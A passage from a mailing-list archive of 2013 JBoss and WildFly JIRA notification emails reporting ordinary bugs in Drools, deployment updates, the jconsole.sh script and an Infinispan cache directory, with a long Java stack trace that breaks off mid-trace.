>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-141) Rules run once completely on
 server, then only first rule executes
In-Reply-To: <JIRA.12492118.1368823580000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492118.1368823580000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492118.1368823580000.6165.1378217584372@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-141?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801193#comment-12801193 ] 

RH Bugzilla Integration commented on DROOLS-141:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 970094|https://bugzilla.redhat.com/show_bug.cgi?id=970094] from MODIFIED to ON_QA
                
> Rules run once completely on server, then only first rule executes 
> -------------------------------------------------------------------
>
>                 Key: DROOLS-141
>                 URL: https://issues.jboss.org/browse/DROOLS-141
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.Beta2
>         Environment: Mac OS X, Tomcat 7
>            Reporter: Jenna Schabdach
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR3
>
>         Attachments: growth_test.zip, SimpleRuleflowTest.zip
>
>
> Drools of either version mentioned loaded on a server execute stateless ruleflow once correctly the first time. After that, only the first rule executes. Similar to issue 2718.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:15:04 2013
From: jira-events at lists.jboss.org (Bart Van Dosselaer (JIRA))
Date: Tue, 3 Sep 2013 10:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1363) Updating deployment with
	dependant
In-Reply-To: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492100.1368803307000.6176.1378217704207@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1363?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801195#comment-12801195 ] 

Bart Van Dosselaer commented on WFLY-1363:
------------------------------------------

Just tested the same scenario with wildfly-8.0.0.Alpha4 - there it works.

So the only way to have this working is to switch from JBoss 7.2.0 to WildFly 8?
                
> Updating deployment with dependant
> ----------------------------------
>
>                 Key: WFLY-1363
>                 URL: https://issues.jboss.org/browse/WFLY-1363
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: Windows 7 64bit, JBoss 7.2.0.Final
>            Reporter: Bart Van Dosselaer
>            Assignee: Jason Greene
>              Labels: deployment
>         Attachments: jboss-deployment.zip, jboss-deployment.zip
>
>
> I'm faced with a certain deployment issue, for which I've created a small maven project (see attachment) so anyone can easily reproduce this behaviour.
>  
> I have a scenario where I have two EAR deployments: base.ear and service.ear. The latter uses some services of the former. For this to work, it has all the necessary entries in its manifest.
> Once deployed, I can call the EJB from service.ear and the EJB from base.ear gets injected and used. No problems so far.
>  
> This works fine, until I want to update base.ear.
>  
> We have our own mechanism to update deployments (through the management API), but the same result can be achieved by deploying through the JBoss Admin console or JBoss CLI.
> So, when I update base.ear (just replace with the same base.ear file) it deploys fine and the invocation is successful. However, there's one line in the console which goes like:
> JBAS014777:   Services which failed to start:      service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: org.jboss.msc.service.StartException in service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: JBAS018733: Failed to process phase FIRST_MODULE_USE of subdepl
> oyment "service-ejb.jar" of deployment "service.ear"
> At this moment, the service.ear, and all its EJBs, isn't really deployed anymore. Or atleast, wrongfully deployed. Not sure how to call that state.
> One possibility is to invoke the :reload command (or restart the server), but ideally we'd like to not have this error in the first place.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:23:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 10:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1902) jconsole.sh fails when
 JAVA_HOME is not set
In-Reply-To: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498925.1376940530000.6201.1378218183884@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1902?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-1902:
--------------------------------------

    Assignee:     (was: Darran Lofthouse)

    
> jconsole.sh fails when JAVA_HOME is not set
> -------------------------------------------
>
>                 Key: WFLY-1902
>                 URL: https://issues.jboss.org/browse/WFLY-1902
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>         Environment: RHEL#/Fedora/Debian RPM
>            Reporter: Aleksandar Kostadinov
>              Labels: jconsole
>             Fix For: Awaiting Volunteers
>
>
> In most standard linux distros JAVA_HOME is never set no matter if any JVM is installed or not. This breaks jconsole.sh
> {code}
> # /usr/share/jbossas/bin/jconsole.sh 
> JAVA_HOME is not set. Unable to locate the jars needed to run jconsole.
> {code}
> jconsole.sh needs to try finding a suitable java installation before failing with an error.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:25:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1392) jconcole.sh - correct PATH
 for calling jconsole
In-Reply-To: <JIRA.12492636.1369344063000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492636.1369344063000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492636.1369344063000.6206.1378218303974@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1392?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1392:
------------------------------------------

        Bugzilla Update:   (was: Perform)
    Bugzilla References:   (was: https://bugzilla.redhat.com/show_bug.cgi?id=900737)

    
> jconcole.sh - correct PATH for calling jconsole 
> ------------------------------------------------
>
>                 Key: WFLY-1392
>                 URL: https://issues.jboss.org/browse/WFLY-1392
>             Project: WildFly
>          Issue Type: Bug
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Frank Langelage
>            Assignee: Darran Lofthouse
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> jconsole.sh checks for correct setting of JAVA_HOME and adds libraries from JAVA_HOME to the CLASSPATH.
> But at the end, jconsole is called with out path.
> So if jconsole is found somewhere else this is used.
> Last line shoud be changed from
> jconsole -J-Djava.class.path="$CLASSPATH"
> to 
> $JAVA_HOME/bin/jconsole -J-Djava.class.path="$CLASSPATH"
> to make sure that libs and bin are used from the same directory.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 11:57:03 2013
From: jira-events at lists.jboss.org (Emmanuel Bernard (JIRA))
Date: Tue, 3 Sep 2013 11:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1993) Change of behavior for
 Infinispan (and more?) default directory
In-Reply-To: <JIRA.12499846.1378223776674@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499846.1378223776674@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499846.1378223776674.6552.1378223823356@jira02.app.mwc.hst.phx2.redhat.com>

Emmanuel Bernard created WFLY-1993:
--------------------------------------

             Summary: Change of behavior for Infinispan (and more?) default directory
                 Key: WFLY-1993
                 URL: https://issues.jboss.org/browse/WFLY-1993
             Project: WildFly
          Issue Type: Bug
    Affects Versions: 8.0.0.Alpha4
            Reporter: Emmanuel Bernard


In ticketmonster, we do build an Infinispan cache suing the following code

{code}
GlobalConfiguration glob = new GlobalConfigurationBuilder()
                .nonClusteredDefault() //Helper method that gets you a default constructed GlobalConfiguration, preconfigured for use in LOCAL mode
                .globalJmxStatistics().enable() //This method allows enables the jmx statistics of the global configuration.
                .build(); //Builds  the GlobalConfiguration object
        Configuration loc = new ConfigurationBuilder()
                .jmxStatistics().enable() //Enable JMX statistics
                .clustering().cacheMode(CacheMode.LOCAL) //Set Cache mode to LOCAL - Data is not replicated.
                .transaction().transactionMode(TransactionMode.TRANSACTIONAL)
                .transactionManagerLookup(new GenericTransactionManagerLookup())
                .lockingMode(LockingMode.PESSIMISTIC)
                .locking().isolationLevel(IsolationLevel.REPEATABLE_READ) //Sets the isolation level of locking
                .eviction().maxEntries(4).strategy(EvictionStrategy.LIRS) //Sets  4 as maximum number of entries in a cache instance and uses the LIRS strategy - an efficient low inter-reference recency set replacement policy to improve buffer cache performance
                .loaders().passivation(false).addFileCacheStore().location(dataDir + File.separator + "TicketMonster-CacheStore").purgeOnStartup(true) //Disable passivation and adds a FileCacheStore that is Purged on Startup
                .build(); //Builds the Configuration object
{code}

dataDir is set to "".
While it does work for EAP 6 and AS 7.x. It fails in WildFly with the following error.

{code}
17:29:18,451 WARN  [org.infinispan.loaders.file.FileCacheStore] (default task-25) ISPN000064: Problems creating the directory: /TicketMonster-CacheStore/TICKETMONSTER_ALLOCATIONS
17:29:18,478 ERROR [org.jboss.as.ejb3.invocation] (default task-25) JBAS014134: EJB Invocation failed on component BookingService for method public java.util.Map org.jboss.jdf.example.ticketmonster.rest.BaseEntityService.getCount(javax.ws.rs.core.UriInfo): javax.ejb.EJBException: java.lang.IllegalStateException: JBAS011048: Failed to construct component instance
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.handleExceptionInOurTx(CMTTxInterceptor.java:190) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInOurTx(CMTTxInterceptor.java:275) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.required(CMTTxInterceptor.java:340) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.processInvocation(CMTTxInterceptor.java:239) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.component.interceptors.CurrentInvocationContextInterceptor.processInvocation(CurrentInvocationContextInterceptor.java:41) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.component.invocationmetrics.WaitTimeInterceptor.processInvocation(WaitTimeInterceptor.java:43) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.security.SecurityContextInterceptor.processInvocation(SecurityContextInterceptor.java:90) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.component.interceptors.ShutDownInterceptorFactory$1.processInvocation(ShutDownInterceptorFactory.java:64) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.component.interceptors.LoggingInterceptor.processInvocation(LoggingInterceptor.java:59) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ee.component.NamespaceContextInterceptor.processInvocation(NamespaceContextInterceptor.java:50)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.component.interceptors.AdditionalSetupInterceptor.processInvocation(AdditionalSetupInterceptor.java:55) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.ContextClassLoaderInterceptor.processInvocation(ContextClassLoaderInterceptor.java:55)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
	at org.wildfly.security.manager.WildFlySecurityManager.doChecked(WildFlySecurityManager.java:428)
	at org.wildfly.security.manager.AccessCheckingInterceptor.processInvocation(AccessCheckingInterceptor.java:63)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_21]
	at org.jboss.invocation.PrivilegedInterceptor.processInvocation(PrivilegedInterceptor.java:75)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
	at org.jboss.as.ee.component.ViewService$View.invoke(ViewService.java:165)
	at org.jboss.as.ee.component.ViewDescription$1.processInvocation(ViewDescription.java:182)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
	at org.jboss.as.ee.component.ProxyInvocationHandler.invoke(ProxyInvocationHandler.java:72)
	at org.jboss.jdf.example.ticketmonster.rest.BookingService$$$view3.getCount(Unknown Source) [classes:]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_21]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_21]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_21]
	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_21]
	at org.jboss.resteasy.core.MethodInjectorImpl.invoke(MethodInjectorImpl.java:137) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.core.ResourceMethodInvoker.invokeOnTarget(ResourceMethodInvoker.java:280) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.core.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:234) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.core.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:221) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.core.SynchronousDispatcher.invoke(SynchronousDispatcher.java:356) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.core.SynchronousDispatcher.invoke(SynchronousDispatcher.java:179) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.plugins.server.servlet.ServletContainerDispatcher.service(ServletContainerDispatcher.java:220) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.plugins.server.servlet.HttpServletDispatcher.service(HttpServletDispatcher.java:56) [resteasy-jaxrs-3.0.2.Final.jar:]
	at org.jboss.resteasy.plugins.server.servlet.HttpServletDispatcher.service(HttpServletDispatcher.java:51) [resteasy-jaxrs-3.0.2.Final.jar:]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
Caused by: java.lang.IllegalStateException: JBAS011048: Failed to construct component instance
	at org.jboss.as.ee.component.BasicComponent.constructComponentInstance(BasicComponent.java:162)
	at org.jboss.as.ee.component.BasicComponent.createInstance(BasicComponent.java:84)
	at org.jboss.as.ejb3.component.stateless.StatelessSessionComponent$1.create(StatelessSessionComponent.java:67) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.component.stateless.StatelessSessionComponent$1.create(StatelessSessionComponent.java:64) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.pool.AbstractPool.create(AbstractPool.java:60) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.pool.strictmax.StrictMaxPool.get(StrictMaxPool.java:123) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.component.pool.PooledInstanceInterceptor.processInvocation(PooledInstanceInterceptor.java:47) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInOurTx(CMTTxInterceptor.java:273) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	... 77 more
Caused by: javax.ejb.EJBException: org.infinispan.CacheException: Unable to invoke method public void org.infinispan.loaders.CacheLoaderManagerImpl.start() on object of type CacheLoaderManagerImpl
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.handleExceptionInOurTx(CMTTxInterceptor.java:190) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInOurTx(CMTTxInterceptor.java:275) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.requiresNew(CMTTxInterceptor.java:364) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.ejb3.tx.LifecycleCMTTxInterceptor.processInvocation(LifecycleCMTTxInterceptor.java:66) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.weld.injection.WeldInjectionContextInterceptor.processInvocation(WeldInjectionContextInterceptor.java:43) [wildfly-weld-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.component.interceptors.CurrentInvocationContextInterceptor.processInvocation(CurrentInvocationContextInterceptor.java:41) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.ContextClassLoaderInterceptor.processInvocation(ContextClassLoaderInterceptor.java:55)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_21]
	at org.jboss.invocation.PrivilegedInterceptor.processInvocation(PrivilegedInterceptor.java:75)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
	at org.jboss.as.ee.component.BasicComponent.constructComponentInstance(BasicComponent.java:160)
	... 85 more
Caused by: org.infinispan.CacheException: Unable to invoke method public void org.infinispan.loaders.CacheLoaderManagerImpl.start() on object of type CacheLoaderManagerImpl
	at org.infinispan.util.ReflectionUtil.invokeAccessibly(ReflectionUtil.java:205) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.factories.AbstractComponentRegistry$PrioritizedMethod.invoke(AbstractComponentRegistry.java:886) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.factories.AbstractComponentRegistry.invokeStartMethods(AbstractComponentRegistry.java:657) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.factories.AbstractComponentRegistry.internalStart(AbstractComponentRegistry.java:646) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.factories.AbstractComponentRegistry.start(AbstractComponentRegistry.java:549) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.factories.ComponentRegistry.start(ComponentRegistry.java:217) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.CacheImpl.start(CacheImpl.java:582) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.manager.DefaultCacheManager.wireAndStartCache(DefaultCacheManager.java:686) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.manager.DefaultCacheManager.createCache(DefaultCacheManager.java:649) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.manager.DefaultCacheManager.getCache(DefaultCacheManager.java:545) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_21]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_21]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_21]
	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_21]
	at org.jboss.weld.bean.proxy.AbstractBeanInstance.invoke(AbstractBeanInstance.java:46) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.bean.proxy.ProxyMethodHandler.invoke(ProxyMethodHandler.java:101) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.proxies.BasicCacheContainer$CacheContainer$EmbeddedCacheManager$Lifecycle$Listenable$-1380817602$Proxy$_$$_WeldClientProxy.getCache(Unknown Source) [weld-core-impl-2.0.3.Final.jar:]
	at org.jboss.jdf.example.ticketmonster.service.SeatAllocationService.<init>(SeatAllocationService.java:48) [classes:]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) [rt.jar:1.7.0_21]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) [rt.jar:1.7.0_21]
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) [rt.jar:1.7.0_21]
	at java.lang.reflect.Constructor.newInstance(Constructor.java:525) [rt.jar:1.7.0_21]
	at org.jboss.weld.injection.ConstructorInjectionPoint.newInstance(ConstructorInjectionPoint.java:110) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.ConstructorInjectionPoint.invokeAroundConstructCallbacks(ConstructorInjectionPoint.java:84) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.ConstructorInjectionPoint.newInstance(ConstructorInjectionPoint.java:71) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.AbstractInstantiator.newInstance(AbstractInstantiator.java:28) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.BasicInjectionTarget.produce(BasicInjectionTarget.java:86) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.BeanInjectionTarget.produce(BeanInjectionTarget.java:173) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.bean.ManagedBean.create(ManagedBean.java:157) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.context.unbound.DependentContextImpl.get(DependentContextImpl.java:69) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.manager.BeanManagerImpl.getReference(BeanManagerImpl.java:738) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.manager.BeanManagerImpl.getReference(BeanManagerImpl.java:794) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.FieldInjectionPoint.inject(FieldInjectionPoint.java:92) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.util.Beans.injectBoundFields(Beans.java:375) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
